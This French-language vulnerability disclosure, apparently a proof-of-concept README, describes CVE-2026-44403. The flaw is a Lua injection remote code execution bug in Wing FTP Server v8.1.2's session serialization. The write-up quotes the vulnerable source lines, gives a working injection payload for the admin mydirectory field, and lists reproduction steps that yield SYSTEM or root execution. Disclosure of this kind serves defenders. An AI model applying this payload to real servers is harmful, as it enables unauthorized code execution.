
CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit
Wing FTP Server v8.1.2 contient une vulnérabilité d'exécution de code à distance (RCE) dans le mécanisme de sérialisation des sessions. Un administrateur authentifié peut injecter du code Lua arbitraire via le champ mydirectory (basefolder) de l'administrateur de domaine, qui est exécuté côté serveur via loadfile().
Il s'agit d'une vulnérabilité distincte de CVE-2025-47812. Le correctif appliqué dans v7.4.4 pour CVE-2025-47812 ne traitait que le vecteur d'injection d'octets nuls dans le champ du nom d'utilisateur. La sérialisation non sécurisée sous-jacente des sessions n'a pas été corrigée et reste exploitable via le champ basefolder de l'administrateur dans v8.1.2.
La fonction de sérialisation des sessions serialize() dans SessionModule.lua (ligne 103) et SessionModuleAdmin.lua (ligne 104) écrit les valeurs de chaîne en utilisant la notation de chaîne longue Lua [[...]] :
outf("_SESSION["..k.."]=[["..v.."]]\r\n")
Si une valeur de session contient ]], la chaîne longue se ferme prématurément et le contenu restant est interprété comme du code Lua exécutable.
Un code de nettoyage des crochets existe dans cgi.lua (lignes 274-275) et cgiadmin.lua (lignes 277-278) mais est commenté :
--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
La métatable des sessions qui appliquerait ce nettoyage est également désactivée :
--setmetatable(_SESSION,session_metatable) -- cgi.lua:282, cgiadmin.lua:285
Étape 1 — Injection de la charge utile via le basefolder de l'administrateur de domaine :
Un administrateur complet authentifié crée ou modifie un compte d'administrateur de domaine. Le champ mydirectory est défini sur :
C:\ftproot]]os.execute("whoami > C:\\proof.txt")--
Les endpoints service_add_admin.html et service_modify_admin.html ne nettoient pas les caractères de crochet du champ mydirectory. (service_add_admin.html supprime les crochets du nom d'utilisateur aux lignes 14-15, mais pas de mydirectory.)
Étape 2 — Déclenchement de l'exécution :
Lorsque l'administrateur de domaine empoisonné se connecte via service_login.html, le basefolder est stocké directement dans la session :
rawset(_SESSION,"admin_basefolder",basefolder) -- service_login.html:95
rawset(_SESSION,"admin_nowpath",basefolder) -- service_login.html:96
SessionModuleAdmin.save() écrit cela dans le fichier de session comme suit :
_SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]]
Étape 3 — Exécution du code :
Lors de la prochaine requête HTTP utilisant cette session, SessionModuleAdmin.load() appelle loadfile() suivi de f() (lignes 184-188). L'interpréteur Lua interprète le fichier de session comme suit :
_SESSION['admin_basefolder']=[[C:\ftproot]] --> assigns string "C:\ftproot"
os.execute("whoami > C:\\proof.txt") --> EXECUTES AS CODE
--]] --> rest is commented out
La charge utile s'exécute avec les privilèges du processus Wing FTP Server (SYSTEM sur Windows, root sur Linux).
Un exploit PoC fonctionnel a été développé et testé contre Wing FTP Server v8.1.2 sur Windows.
Étapes de reproduction :
Connectez-vous au panneau d'administration
Créez un nouvel administrateur de domaine avec la valeur mydirectory suivante :
C:\ftproot]]os.execute("whoami > C:\\wingftp_rce_proof.txt")--
Connectez-vous en tant que nouvel administrateur de domaine créé
Naviguez vers n'importe quelle page d'administration (déclenche le chargement de session)
Vérifiez que C:\wingftp_rce_proof.txt a été créé contenant le nom d'utilisateur du serveur